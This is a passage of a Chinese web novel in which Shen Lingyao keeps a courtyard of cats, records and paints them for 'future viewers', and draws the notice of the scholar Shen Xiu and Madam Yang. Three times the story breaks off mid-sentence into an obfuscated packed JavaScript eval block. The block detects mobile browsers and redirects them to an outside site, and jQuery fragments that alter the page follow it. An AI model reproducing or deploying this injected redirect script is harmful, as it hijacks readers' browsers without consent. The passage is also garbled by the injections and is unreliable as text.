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香市最是热闹,铺子林立,竹器、陶罐、画扇、香料、药材,各种叫卖声此起彼伏。街角的糖人摊子前,几个孩童围着看那捏糖的小老头,眼睛亮得跟黑豆似的,偶尔还有猫从孩子们脚边蹿过去,吓得小孩一阵尖叫。 沈修侧头看了一眼那糖人摊,摇了摇头,唇角却无声地扬了一点,似乎在回味刚才院子里传出的那阵笑声。 再往前走,是文昌书院所在的石板桥,桥边一棵老槐树,夏天枝叶最茂盛,能盖住半个桥面,如今枝叶才刚冒出嫩芽,风一吹,带着点青涩的香气。 桥下有茶棚,几位老人正对坐下棋,棋盘边摆着一壶茶,几碟炒豆,一碟梅子,时不时有行人停下来看两眼,再往香市走去。 沈修放慢了脚步,走过桥,见桥头有个挑担卖草药的小贩,摊子上摆着一捆捆蒿草、藿香、几株不知名的小叶子,绿得发亮。小贩懒洋洋坐在担子旁,打着哈欠,抖着蒲扇,不时朝桥下吆喝。 再往西,是文昌书院的后门,那儿挂着一块墨漆招牌文友入堂,平日是给外头跑腿送笔纸、墨水的小伙计们进出的。 沈修把家信塞进怀里,脚尖抵着青砖桥的石栏,看着水面那一抹缓慢的波光,微微晃神。 他忽然想到,若是那姑娘带着猫,走这条路去香市采购,会不会也会笑着跟那捏糖人老头讨价,还价? 会不会站在桥头,看着桥下的水面,想象水面里那些猫翻滚的模样,笑得又清脆又长久? 他自嘲地笑了一声,抬手捻了捻指尖,指腹还残留着书页的微凉粉末味。 “沈修啊沈修,你倒也罕见……竟会记住一个姑娘的笑声。” 风吹过桥,带着香市那头米糕铺的甜香,也混着槐树叶子的青凉。 他最后回望了一眼柳巷方向,才重新迈步,走入青灰色的街道尽头,身影缓缓被光影和人群淹没。 4. 第四章 猫的记录在册 清晨第一缕阳光从青瓦缝隙里斜斜透进小院时,几只猫已经陆续从稻草窝里钻出来了。 那只灰白相间的小猫打了个长长的哈欠,脑袋一歪,顺势扑到同窝的黑背猫身上,把后者压咪一声,四脚乱蹬。黑背猫努力翻身,结果反被灰白猫抱住脑袋舔了个透亮,一时间猫团里滚作一团,毛都快搓成麻绳了。 沈令遥端着一小碗鱼汤,蹲在门口看得津津有味。 “灰白这孩子……又欺负黑背了,啧。” 她忍不住小声念叨,声音细软,带着笑意,像一朵被晨露打湿的栀子花。 身边,福来抱着半个竹篓,费力地想从一根弯曲的竹条里挑出一只调皮的小猫。小猫左蹦右跳,把竹篓当成迷宫,最后干脆从缝里钻出,弹到地上,咕噜一声滚到她脚边。 “你瞧瞧,又跑啦!”福来一脸无奈,袖口被小猫爪子划出一道小口子,里头露出细瘦却结实的手臂。 沈令遥噗嗤一笑,蹲下轻轻捞起那只猫,抱进怀里,猫挣扎两下,尾巴刷过她脸颊,痒得她眯了眯眼睛,随后就老老实实窝着,耳朵轻轻抖动。 “这孩子,性子最野,动作最快,就叫你‘小箭’吧。”她抬手拨开猫额前的毛,目光柔和,声音轻到像一片纸片轻掠过水面。 她把猫放进一个新铺好的竹篮里,然后取出一张泛黄的纸片和一支自制竹笔,歪歪扭扭地写下,【小箭,灰背白肚,脚快,爱逃跑,喜欢舔人耳根。】 写完,她满意地点点头,躲着福来把纸举到面前读了一遍,不大的声音带着一点戏谑的骄傲:“给未来的观众朋友们,送上猫猫‘小箭’的第一份官方档案!” 【系统提示:未来观众已接收记录,弹幕已开启互动。】 蓝光浮现,一行行轻飘飘的文字刷过她的脑海。 【哈哈哈哈哈,真的在建猫档案!可爱哭了!】 【小箭:本狸奴不服,我要申诉!】 【投喂30条鱼干,求更多档案,最好附带呼噜声合集!】 沈令遥嘿了一声,嘴角却忍不住扬高,拿着竹笔,又趁势写下:【灰白,体型最大,喜欢抢猫窝,最爱舔别人耳朵,捉虫第一名。】 旁边那只灰白猫仿佛听懂,抬头咪嗷了一声,昂着脖子像个将军。 “哟,果然是老大风范。”沈令遥伸手轻轻捏它的脸颊,猫先是闪躲,随后又贴回来,鼻子在她指尖蹭来蹭去。 福来看着,咧着嘴笑,突然想起什么似的,一拍脑门:“姑娘,前几日桥头那个卖书的先生说,都叫狸奴,听着比猫还威风!” 狸奴狸奴,是大家对猫的统称,说是一家聘了猫家去还会再起个名字,想到这沈令遥在想难道是她先喊的猫?福来也跟着喊猫了? 这个疑问也不需要寻找答案。 “狸奴……”沈令遥低声念了几遍,竹笔停在半空,眼睛一点点亮起来,“这名字好,比猫更有气势。未来那些观众,不就是喜欢新鲜名号么?” 她转头,一脸郑重地宣布:“从今天起,猫们统称‘狸奴’!” 福来笑得更夸张,眼睛都眯成一条缝:“狸奴!狸奴!听着怪有意思!” 沈令遥蹲下来,把怀里那只刚写好档案的猫托到眼前,正经地说:“小箭,从现在起,你是狸奴小队的飞檐走壁担当。” 小箭眨巴着水润的眼睛,歪头看她,随后伸舌头舔了舔她的鼻尖,像是在无声回礼。 沈令遥被它蹭得忍不住哈哈笑,笑声清脆,直钻到院外巷子里。 巷口,一个挑着葱和花布的婆婆路过,听见她笑声,探头朝院子里张望。见她抱猫写纸条,忍不住调侃:“哎哟,这是要给狸奴编家谱啊?是要把它们嫁出去吗?” 沈令遥一愣,随即捧着猫笑得直抖肩:“哪有,这家谱啊,就是一种记录,我们狸奴才不要那么轻易被聘走!” 婆婆被她逗乐,提着葱边走边笑:“唉,现在姑娘们的想法都新鲜,倒比那些摆花会的闺阁小姐们有趣多啦!” 她走远后,福来脸涨得通红,支支吾吾想解释,却被沈令遥轻轻拍了下胳膊:“别急,笑笑就好,大家都当乐子看。” 福来挠挠后脑勺,憨憨笑了一声。 午后,太阳晒到墙根,院子里的狸奴们吃饱后,陆续各找地方睡午觉。 灰白猫卷成一小团,窝在晒得最暖的竹篮里;黑背猫则偏爱墙角那块凉阴地,四脚伸长,呼噜声低沉悠长;小箭睡得最不安分,先是枕在灰白猫屁股上,后来又翻到院中破旧木桌底下,把尾巴当枕头,连眼皮都懒得抬。 有几只小狸奴围着沈令遥蹭来蹭去,最后全凑到她脚边,叠成一座柔软的猫山。 沈令遥抱着竹笔,原本正低头写最后一只猫的档案,写着写着,脑袋一点点偏,鼻尖抵到纸上,轻轻发出一声含糊的鼻音。 福来看见,先是大惊,赶紧放下手里的木碗,跑过来,轻声喊:“姑娘,姑娘!” 她没醒,反而嘴角勾了个小小的笑意,像梦里也正抱着狸奴们一起翻滚。 福来看她额前发丝被汗黏住,皱了皱眉,小心翼翼回屋拿了一件洗得发白的旧布衫,替她搭在肩上,动作慢得像在怕惊走院子里的猫。 猫们看见他靠近,只是懒洋洋地动了动耳朵,没有惊慌,甚至有一只干脆趴到沈令遥的大腿上,头一点一点,睡得香甜。 福来蹲下来,看着姑娘与猫群相依的样子,咽了口口水,心里忽然一阵温热,连背上的汗都感觉不到凉。 他悄悄弯腰,把院外半开的木门又合上,轻轻插好门栓,回头再瞧了一眼,像个小大人般,舒了一口气。 墙外风吹动老藤,巷口传来几声吆喝:“甜汤粥——加豆花——热乎的咯——”那热气腾腾的吆喝声,混着猫群的呼噜声,流进这座青石小院,化作一场夏日午后的浅梦。 未来观众的弹幕也在此刻缓缓滚动,出现在沈令遥的眼前,时有时无: 【今天的狸奴特别乖!】 【睡姿好可爱啊啊啊!】 【主播笑声真好听,像风铃一样……】 而沈令遥什么也没听见,只是呼吸平稳,唇角还挂着笑,胸口缓缓起伏,怀里的猫也随着她的呼吸一同微微起落。 她梦里似乎看见未来那排闪烁的高楼灯牌,忽远忽近,最后化作院里这群猫温热的小鼻音。 ……… 福来关好门后,重新回到灶台边,把剩下的鱼骨挑出来,细细剁碎。他动作笨拙,却带着少见的耐心,眉头偶尔皱着,嘴角却时常含笑。 有时候,他会忍不住回头望一眼沈令遥。那姑娘坐在那里,脑袋微偏,呼吸浅浅,肩头搭着旧布衫,几只狸奴团成一圈围着她,最小的那只甚至爬到她腿上,把小脑袋埋在她手腕处。 “姑娘啊……真厉害。” 福来轻声自语,声音轻到连风都没能带走。 他还记得,自己小时候也曾想留下一窝猫,可母亲病着,家里揭不开锅,最后还是被迫把猫送走。那种失落,他一直都不敢回想。 如今,他看着院子里这些狸奴被好生照料,吃得饱饱,睡得安稳,忽然觉得,自己像跟着捡回了一段丢失很久的心愿。 院子另一头,几只狸奴在半截竹筐里翻找,偶尔翻到一根干稻草,就要咬着满院跑。灰白那只体型最大,走到哪儿都带着几分老大气势,它慢悠悠地溜达,经过墙角时还会挑衅地挠一爪子,像是巡视领地。 福来看它神气样,乐得捧着肚子:“哈哈,狸奴也要做大将军啦?” 灰白回头看他一眼,甩甩尾巴,竟然朝他抬起后腿踹了一下,随后大摇大摆走开,像个被识破的调皮孩子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385999|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 旁边的黑背猫怕热,一直躲在水缸后头,伸着爪子抓墙角垂下来的老藤,偶尔还能捉到一两只飞虫,得意地甩甩脑袋,把战利品小心放到石板上,像是在摆战功。 福来看它动作,憋笑地想起前两天沈令遥写下的档案:“黑背,性子怯,最爱躲阴凉,偶尔有点小英雄气。” “姑娘说得真准啊……”他喃喃道,边把鱼骨搅进小陶罐里,添上刚打好的井水,点火慢慢煨煮。 巷外,陆续有人来取水、挑菜,偶有孩童跑过,听见院里猫叫声,会贴着门缝探头,露出一只只亮晶晶的眼睛。 有人笑着喊:“哎,这就是新来的猫姑娘家吧?听说有一群狸奴,连门都不敢出!” 也有人羡慕道:“要是我家闺女也有这手艺,早就不用日日抄经熬夜啦!” 这些议论透过门缝飘进来,混着猫群的呼噜声、陶罐的水汽声,缓缓在小院中沉淀,像一碗热汤被一点点吹凉,却仍旧暖人。 太阳一点点偏西,光线斜斜洒进院子,把墙角的爬山虎叶子染成浅浅的金色,风一吹,叶影晃动,如同小小的绿浪。 沈令遥慢慢睁开眼,第一眼看见的,是趴在她膝盖上那只小箭。 小箭抬着头,见她醒了,先是眨了眨眼,随后咪了一声,猛地把脸埋到她掌心,尾巴甩得飞快。 她愣了一瞬,随即失笑,抬手轻轻捧住小箭的脑袋,慢慢揉了揉。 “喂……你这小东西,趁我睡觉就占便宜啊?” 小箭发出一声低低的呼噜,对此不予知否。 沈令遥偏头,看见周围猫们都睡醒了,有的在舔爪子,有的在院中小跑,有的还在抱着她的大腿蹭个没完。 她低笑着,伸手摸过它们的脑袋,指尖从毛发间滑过,带着轻轻的暖意,像抚过一池柔水。 福来端着刚熬好的鱼汤过来,小心翼翼地喊:“姑娘,醒啦?鱼汤好啦,要不要先尝一口?” 沈令遥抬头看他,鼻尖被汤香勾得微微动了动,肚子也很配合地发出咕噜噜一声。 “你这汤,可真有一手啊。” 她接过陶碗,先吹了两口,浅浅抿了一口,眼睛瞬间亮了,忙不迭地点头,“比昨天那锅好多啦!简直是飞跃进步!” 福来听见夸奖,傻乎乎地笑,摸着后脑勺:“嘿嘿,那是我昨晚躺被窝里想着怎么改,今早特地又问了隔壁卖鱼汤面的大叔。” 沈令遥一口接一口喝着,动作看似急,却一点也不狼狈。猫们在脚边围着,嗅着香气,有几只还伸爪搭到她的膝盖上,似乎想尝一口。 她放下碗,挑出几小撮鱼肉,拌在猫碗里,一只一只递过去。 “来,吃你们的,不许抢我的。”她板着脸,声音却柔得像春日的风。 小箭第一个冲过来,几乎把猫碗都推翻。灰白则慢条斯理,先伸舌头试试温度,确认无碍才优雅地吃;黑背最谨慎,一直在后面小步试探,最后才轻轻咬一口。 福来看着,乐得弯腰笑:“姑娘,你这脾气,看着凶,其实是惯得它们越来越娇气!” 沈令遥白了他一眼,笑骂道:“你这伙计,越来越会调侃啦!” 巷外传来几声猫叫,有猫主人带着食盆找丢失的猫,经过沈令遥的院子时忍不住往里探。 “姑娘,听说你这儿养了不少狸奴?有机会能让俺家阿黄来拜个码头不?” 沈令遥捧着猫,回头冲外面笑着挥手:“有缘就来,院子小,人心大,猫都能进。” 那人听后哈哈笑着走远,声声回荡在青石小巷间。 沈令遥低头看猫群,心里突然被一种柔软又坚定的情绪包裹。 “只要有这群小家伙们,就很好了。”她摸着小箭的后颈,目光明亮,耳边是猫的呼噜声,门外是小贩吆喝,天光渐暗,却不觉得寂寞。 5. 第五章 狸猫图 狸猫册 清晨枝柳巷口的青石板还带着夜里凝下的薄露。 李福来揉着眼睛,从小院门口探出脑袋,猫们已经醒了,三三两两蹲在阶上,灰白猫懒洋洋地舔爪子,小箭则趁别的猫不备,飞快抢了半条鱼骨,得意地甩尾巴跑开。 “别乱跑啊,小箭!回头被姑娘罚没鱼汤喝,看你哭不哭!”福来咧嘴笑着,声音里带着还没散尽的困意。 沈令遥此时正蹲在院子中央,头发随意用布带束起,脸上因为晨风显出浅浅红意,她回头冲他摆摆手:“路上小心,别惦记这里,跑腿才是你的正经事!” 沈令遥也到了这里很长一段时间,大大小小的猫都被她记录在册,本来想叫福来帮她多整理一些,但福来最近又恢复了跑腿的营生,说是前段时间只算是他的假期。 得,假期结束了,沈令遥得自己处理很多事情了。 “知道啦,姑娘。”福来提起装着几包香草和干货的小布囊,伸个懒腰,看着院中那一群猫,心底忽然生出一种奇怪的轻快感。 福来踏出巷子,沿着青石板一路走去。 枝柳巷口有个挑担的老汉,正热气腾腾地卖豆腐脑,巷边小摊铺上悬着几只翻飞的竹蜻蜓,几个孩童边嚼糖葫芦边玩耍,笑声像细碎珠子撒在青砖上。 再往前,是香市。香市里最不缺的就是香粉、饰品、香囊、扇子。 巷子两侧挂着彩绸招牌,店里有闺阁小姐挑选发钗,也有外地来的商贩推着小车售卖染香的桂花糕。 “热乎的香芋糕——新出锅的桂花糕——” “杭白菊、苏合香囊,有要的没有啊——” 福来一边走一边点头作揖,街坊们笑着招呼他,有人递糖人给他尝,他摇着头笑:“谢啦,我得去跑书院送信!” 拐过香市东头的口子,正是文昌书院。 院门口立着两根漆着暗红的高柱,门匾写着文友入堂,几位书生背着竹简、提着笔匣,三三两两低声谈论诗书,袖子里偶尔会伸出藏着的纸条。 这时候,一个身着浅青色直裰的青年正静静立在门口,长身玉立,神色冷净。 他袖口干净,腰间只挂了一根细细的素色绦子,衣摆被风轻轻吹起,像一片刚落到地上的薄叶。 福来看见,眼睛一亮,忙小跑两步,站定后双手合抱作揖:“沈秀才,今儿也来抄书任务啊?” 青年正是沈修,他转头微微颔首,眼神温淡:“是,今日排到我抄《列子》。福来小弟也忙?” “嘿,今日得跑好几趟呢。”福来憨笑,摸了摸后脑勺,随口又接道,“秀才真是有学问,巷里人都佩服。那姑娘……咱家姑娘也说,秀才模样好,气质也清朗。” 沈修眉间轻轻动了下,似有一丝意外。可他并未作答,只轻声道:“多谢。” 这时,旁边茶棚里几个老人也正闲谈,听见福来提及姑娘,忍不住插嘴八卦:“哎,福来,这姑娘是不是沈家那位?听说你最近帮她打理猫铺?怎么想着养狸奴了?” “是啊,就是那位沈姑娘。”福来被突兀问住,有些慌乱,但还是挠着头憨声回道。 老茶客接话道:“听说沈家夫妻早年在外经商,前些年客死他乡,这房子和铺子都留给了她,官府也答应只要铺子租期到期,铺子就还她,不会收回,这姑娘也算命中带福啊。” 另一个老人叹口气,捋胡须说:“是啊,怪不容易,一个姑娘家,能把那猫群养得这么好,也算本事。” 沈修听着,指尖微微一紧,眼中却没有露出明显的波澜,只是轻轻敛眸,继续执卷进了书院。 …… 另一边,院子里已经热闹起来。 沈令遥坐在竹桌前,手边摊着一本发黄的画册,上面画着细腻的猫蝶图:猫蹲在莲叶旁,蝴蝶翩翩飞过,猫尾巴轻轻卷着,眼神既机警又慵懒。 她指尖沿着蝴蝶的翅膀边缘描摹,眼睛亮晶晶的,嘴角轻轻弯起。 院子里没人,沈令遥直播也不用小声解读,这会正兴致勃勃的进行着,“大家看呢,这猫蝶图可不是因为猫爱吃蝴蝶才画的。是取蟾字长寿之意,取福瑞富贵的寓意。” 她一边喃喃,一边用竹笔蘸上浅色颜料,小心翼翼给灰白猫画像上点了一抹淡青。 【系统提示:未来观众已开启互动,弹幕已上线】 【啊啊啊,这是什么绝美国风猫设!】 【想要小箭的飞跃版画像!加蝴蝶!加蝴蝶!】 【投喂66条鱼干,求限定印刷收藏!】 沈令遥忍不住噗嗤一笑,挑眉看着那条调侃:“好呀,既然大家都这么懂,那就给小箭也来一只飞蝶!但只能做一份,限量版,懂?” 猫群似乎感应到她的情绪,纷纷围过来。 小箭直接跳到桌上,探着头凑近画册,爪子还想去踩颜料,被她一把抱住。 “哎!别动!这可是你的官方画像,别给我搞混了!” 小箭被抱在怀里,竟然很享受地呼噜起来,还把头往她下巴处蹭,像个撒娇的小孩。 灰白猫优哉游哉地踱过来,尾巴高高翘起,优雅地坐在她脚边,仰头用一双琥珀色的眼睛直勾勾看她。 “知道啦,你也要画像。”沈令遥抬起眼,笑着用指腹弹了弹它的鼻子,“给你画只白蝶,好不好?” 灰白猫眯着眼,满意地舔了舔自己的前爪,像个答应了的新任王爷。 她提笔继续画,把每只猫的特征、毛色、耳尖花纹,都细细地描进去,还给每幅画像写上俏皮小字:“狸奴小箭,擅长翻墙飞檐;狸奴灰白,院霸一枚,慎惹。” 每画一笔,她就忍不住笑,笑声清脆,透着屋顶爬上来的阳光,在青砖小院里回荡。 ……… 午后,李福来气喘吁吁跑回柳巷,一路还和卖鱼丸的老板娘有一搭没一搭地聊着,忽然远远看见自家院门口排起一条长龙。 “咦?怎么这么多人?” 他快步走过去,看见门口支了张小桌,上面摆着一叠叠画册,旁边香囊、绣布、猫铃铛堆成小山。 几个贵女正低声笑着互相展示手里拿到的狸奴画像,一边感叹:“太可爱了,竟然还有手写档案!” 有人把画像折成香囊形状,说要带回家挂床头避邪保福;也有书生带着扇子,把小箭的画像黏在扇面上,说是“书扇会友,先有猫为证”。 福来看呆了,张着嘴半天合不上。 “这……这姑娘什么时候,又开起画铺啦?” 院里,沈令遥抬头看见他,笑得弯了眼睛,朝他挥手:“回来了?快来帮忙,今天太多人要猫册,手都酸了!” “啊?哦哦!”福来手忙脚乱地冲进去,一只猫恰好蹭到他脚边,他差点摔倒,逗得旁边围观的贵女们笑得连声称快。 沈令遥把手上那本刚画好的册子递给一位年轻夫人,夫人用香囊换走,还特意放下一小袋桂花糖:“姑娘,改日我再来求下一只狸奴画像,这香囊你别嫌弃!” 沈令遥笑着接下,弯腰看脚边猫群,眸中亮光如春水微漾。 “好,狸奴画像馆,今日大卖告捷。” 福来看着那一幅幅被带走的猫册、那一张张被笑声围住的脸,忽然觉得胸口暖烘烘的,仿佛被阳光与猫呼噜声同时拥住。 傍晚,夕阳像一片火烧锦,爬过院墙,洒在青石板上。 沈令遥揉着酸疼的手腕,轻声对福来说:“福来啊,你瞧,这些猫,不只是在院子里陪着咱们,它们还要走进更多人的梦里。” 福来捧着一张画像,小箭那双飞跃的眼睛似乎要从纸上跳出来,他看着,轻轻点头。 “嗯,它们也成了姑娘的新家人。” 沈令遥抬头看暮色中微亮的月牙,笑得温柔:“对啊,是家人。” …… 原本家里没有这些人来求画的,沈令遥只是给猫编着名册,但有的时候转机就是会突如其然的出现。 那天傍晚前,沈令遥其实刚从香市回来。她手里提着一篮子刚换来的纸和染料,正打算快步回院子。 走到香市与枝柳巷交界处时,她看见一名小婢女正抱着一只香囊,满脸焦急地四处张望。脚边的路面上,还有细碎的鱼干渣,显然有人喂过猫。 沈令遥停下脚步,微微眯眼,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386000|200256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前方一只小橘猫正踩着青砖快速往巷子深处跑,尾巴一甩一甩,吓得路人纷纷闪开。 “是这只吗?”她朝那婢女喊了一声。 婢女一惊,抬头看见她,像是看见救星一样,连连点头,急道:“对对对,就是它!这可是夫人最爱的猫,若是弄丢了,奴婢要吃板子的……” 沈令遥将篮子放在墙角,提着裙摆快跑几步,半蹲着张开手势,口中轻轻发出啧啧的细声。 小橘猫听到声音,脚步一顿,回头望她,见她没有敌意,竟慢慢朝她靠近。沈令遥见状,迅速伸手抱住,把猫托到怀里,动作熟练而温柔。 婢女飞奔过来,气喘吁吁地接过猫,连连作揖:“姑娘,真是多谢,多谢!夫人若知道,必定感激不尽!” “无妨,小东西也怪可怜的,下次注意别让它乱跑。”沈令遥拍拍手,弯腰捡起自己的篮子,重新朝巷口走去。 第二日午后,沈令遥正给灰白猫画像,院外忽然传来一阵细碎脚步声。 “姑娘在吗?是昨日帮奴家捉猫的姑娘吗?” 她抬头,只见门口站着那名婢女,怀里抱着一个精致的青白瓷罐,手里还提着一小袋用锦布包好的礼物。 “姑娘,昨日多谢您帮忙找猫。夫人特命奴家来致谢,送些小点心与香粉,愿姑娘不弃。” 沈令遥见状,慌忙擦了擦手,接过东西,脸颊微微泛红:“这……这太贵重了,我……” 婢女忙笑着摆手:“姑娘不必推辞,夫人平素爱猫如命,昨夜几乎急得一夜未眠,幸得姑娘帮忙,才宽心。” 说着,婢女瞥见桌上摊开的猫图,眼睛一亮,忍不住凑近几步,看得目不转睛:“这……这是姑娘亲手画的?” 沈令遥画下的猫图,线条纤细灵动,猫的身形柔润,尾巴卷出半个轻巧的弧,仿佛随时要跃起去追那只画中飞旋的蝶。 而且猫眼圆润清亮,带着几分稚气,又藏着不易察觉的骄傲;绒毛层层晕染,轻似春风拂柳,柔若雪上轻尘。 连着图上那只蝶,薄翅微振,仿佛下一瞬就要落到猫鼻尖。整幅画既有闺阁小景的静雅,又透着一股捉弄般的灵动顽皮,让人看一眼就心头一软,忍不住想伸手去摸。 也难怪这来致谢的女子见了就欢喜。 沈令遥被盯得不好意思,轻声道:“是啊,给这些狸奴做档案用的。” 婢女先是诧异,随后眼底闪过一丝怜惜的神色。 她上下打量沈令遥,看见她衣衫虽干净却已旧得发白,院子里也不过堆些破竹篓,心中不禁生出几分怜悯。 “姑娘可真是……心思细致。只是……”婢女迟疑片刻,但还是没有问出来,刚来的时候就听见她在院子里自言自语?似乎在与空气说话?怪异的很。 注意到婢女的眼神突然从惊喜变得带了点忧郁,还有些令沈令遥觉得像是可怜又不像是可怜的情绪在其中。 沈令遥愣了愣,但也只是笑着应对,等着她说完。 婢女见她神色认真,却更觉得这姑娘可怜又孤单,或许心里早已受了些伤,竟把空气当作朋友。 婢女不动声色地从袖口摸出几枚碎银,悄悄塞进礼盒深处,语气温柔:“姑娘若不嫌弃,不若也替我家夫人画一幅我们家阿橘的画像可好?我回去告知夫人,必会感激不尽。” 沈令遥先是惊讶,随即笑容亮得如春光:“当然可以,只要狸奴愿意配合,几天后便能成。” 婢女这才放下心,行了个礼,带着松快的笑意离开。走出巷口时,她轻轻抬头看了眼天,心中暗自嘀咕:“夫人果真有眼光,这姑娘虽怪,却心善得紧,画也好得紧。” 沈令遥回到桌前,打开锦布,才发现里面除了香粉点心,竟还多了那几枚碎银。 她愣了愣,低头抚过那些微凉的银面,猫们正围着她蹭来蹭去,灰白猫还用脑袋蹭她的手背。 “你们看,这世道上,还是有懂得还愿的人啊。”沈令遥轻声笑道,声音清脆,眼底却有一抹温柔深深涌动。 灰白猫抬头咪了一声,撒娇一般,随后把脸重新埋进她掌心,呼噜声一下盖过了所有人间声响。 6. 第六章 杨夫人的橘猫 婢女秋棠年方十六,面容圆润,杏眼里总带着灵动机伶。 她出身小户,排行最小,自小就被送到杨府服侍,因性子快活,做事细致,深得杨夫人喜爱。 杨夫人,姓杨,出自城中书香门第,嫁给了经营绸缎生意的杨家。 虽为商户夫人,却有几分文人的清雅,院中常年插着白梅与石榴,房内摆着香炉与古砚,连绣架上也绣着诗句与小猫的影子。 她素来爱猫,每逢初春,便会让秋棠给猫准备软垫,香市的猫铃、软帕和小被子更是每年都不曾断过。外人皆笑她惜猫胜子,她却不以为意。 那日夜里,小橘猫失踪后,杨夫人彻夜未眠,连饭都未进几口。 第二天听秋棠说起有个姑娘救了猫,她先是一愣,随后缓缓搁下碗筷,低声问:“是哪家姑娘?” 秋棠将沈令遥的模样和院子的样子细细描述。 杨夫人轻声叹息,声音里透着一丝浅浅的心疼:“是那沈家独女吧……她家父母当年在外经商,听说因风浪失事,客死异乡,只剩这独女孤苦。听说家里留了一铺子,但现在也还租给他人。那铺子与院子虽说归她,可因为契纸与银票未满,官府只暂时保管。若她手里再无钱,早晚也会被收走。” “是啊,夫人您不知道,她常常自言自语,街坊都说她怪,可是……怪也罢,孤也罢,她能照料一院猫,心肠必是柔软。”秋棠站在杨夫人身后,双手给其捏肩,也不忘叹息沈令遥的事情。 杨夫人抚着小橘猫的背,猫舒展身体,翻了个身,伸着肉爪去碰她衣袖,仿佛听懂了主人的叹息。 秋棠站在一旁,微微抬头,看见夫人眼里微泛光亮,心里忽然有些酸涩:“夫人,姑娘其实很有本事,她会画猫图,还会给猫编香囊……” 杨夫人听后,轻轻阖上眸子,指尖摩挲猫耳,半晌后才缓缓开口:“若有机会,秋棠,你可再送些东西给她,若她真有难,也可暗中帮衬一二,莫要让她知道是我。” 秋棠低声应下,心里却在盘算,明日再去枝柳巷,她一定要再多看看那姑娘与猫们,那笑声,实在比城中许多闺阁小姐的笑都要真切、干净。 …… 秋棠离开后,杨夫人独坐在廊下,手指缓缓摩挲着小橘猫的背,指尖轻轻颤动,眼神渐渐远去。 廊前那棵石榴树,被春风吹得枝叶轻响,点点嫩红花苞在枝头抖动,恍若旧年时光中的某个笑声。 许多年之前,杨夫人尚未出阁时,曾与沈夫人一同在绣楼中学女红、写诗词。 两人年纪相仿,性情却一动一静。沈夫人爽朗泼辣,总爱带着她偷偷跑到河畔摘桃花、捉萤火虫,回来后被教书嬷嬷责罚,也从不服气,反而仰头笑说:“来年再去!” 那时的杨夫人,性子温婉拘谨,常常被沈夫人拉着闯祸,心中虽怕,却也因那笑声感到自由和暖意。 后来,两人各自出嫁,沈夫人随商队远走他乡,杨夫人嫁入杨家绸缎行,身份与生活渐渐不同,往来便稀疏了。 偶尔有书信来往,也只写些平日里琐碎消息,几笔闲话,一点点诗句,再无当年夜里翻窗捉萤火虫时的纵情。 再后来,听闻沈家意外覆船,夫妇俱亡,杨夫人一夜未眠,枕边湿了两回,第二日眼睛红肿,却只能独自抚琴,把那段过往压进了心底。 “阿遥……你倒是与她有几分相似啊。” 杨夫人低声呢喃,看着猫爬上石桌,轻轻踩着细瓷茶盏边缘,那笨拙而机灵的动作,竟像极了沈夫人年轻时偷偷从屋檐上爬回绣楼时,小心翼翼落地的姿势。 她缓缓闭上眼,指尖收紧,感受到掌心小橘猫传来的温热。 脑中浮现当年沈夫人拿着一只新绣好的猫香囊,笑得眉眼飞扬,对她说:“等我有闺女,我就教她做猫香囊、编香袋,把猫养得白白胖胖,看谁家能比!” “可惜啊……”杨夫人睁开眼,眸中闪过一丝柔软又苦涩的光。 她知道,沈令遥是沈夫人唯一的血脉,那丫头在院中自言自语,许多人笑她怪,该是因为父母双亡而心惊才如此,她却依旧那般专注温柔,那份执着,倒让她想起旧时友人的倔强笑容。 “若是她娘在,定也会笑着说,这闺女心软,倒是遗传了她。”杨夫人低低笑了一声,却忍不住抬袖轻拭眼角。 她抬头看向春风中晃动的石榴枝,心底缓缓生出一个念头:“若有机会,我愿尽微薄之力,助她度过难处。也算是……为当年的情分,留一份心意。” 小橘猫此时蜷成一团,尾巴轻轻勾住她的指尖,发出一声长长的呼噜,像是听懂了心事,又像在无声安慰。 杨夫人抬手抚摸它的脑袋,目光渐渐柔和,声线轻得如春日里随风吹过的细柳:“阿遥啊,你要好好活着,看猫,看花,看人间烟火……若是累了,我也愿做那盏灯,替你照一段小路。” …… 风吹着思念飘然而去,石榴枝随着风摇动,连着探出府院的枝桠也跟着风走,落叶飘落,落在香市与文昌书院之间的石板桥。 这时,午后时分最热闹。桥头摆着糖人摊,孩子们拿着糖剑追打,豆腐摊飘出热汤香气,青石板被晒得微微发亮。 沈修从书院领了新一轮抄书任务出来,怀中藏着一卷《列子》残卷,纸张微凉,墨香隐隐。 他步伐一向平稳,今日却走得比往常慢。 刚转过桥头,便听见有人低声谈话。只见秋棠正站在杨府门外,与另一名采买嬷嬷小声叙谈。 “那姑娘……可怜见儿,自己一个人照料那么多猫。” “哎,是啊,听说她常常在院子里对着空气说话,真真怪哉……不过心眼是好的,若非她,那只小橘猫早就被车轱辘压死啦。” 沈修脚步一顿,眸子里闪过一丝轻轻的涟漪。 他抿了抿唇,想起那天枝柳巷口,那姑娘笑得肩膀抖个不停,猫群围着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 